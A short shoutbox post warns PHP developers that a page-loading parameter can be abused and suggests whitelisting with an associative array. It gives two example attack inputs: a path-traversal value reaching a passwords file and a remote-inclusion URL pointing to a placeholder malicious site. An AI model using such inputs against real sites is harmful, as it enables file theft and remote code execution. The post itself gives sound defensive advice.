Shoutbox

Be careful though when you do that, because malicious users can use this to load arbituary code. bbq.com?page=./../passwords.txt would allow a user to load a file that normally wouldn't be able to load, or even bbg.com?page=http://malicioussite.com/badpage.php

Use a regex to filter these out, make sure the file exists, or even better us an associative array. bbq.com?page=1 loads one.php as an example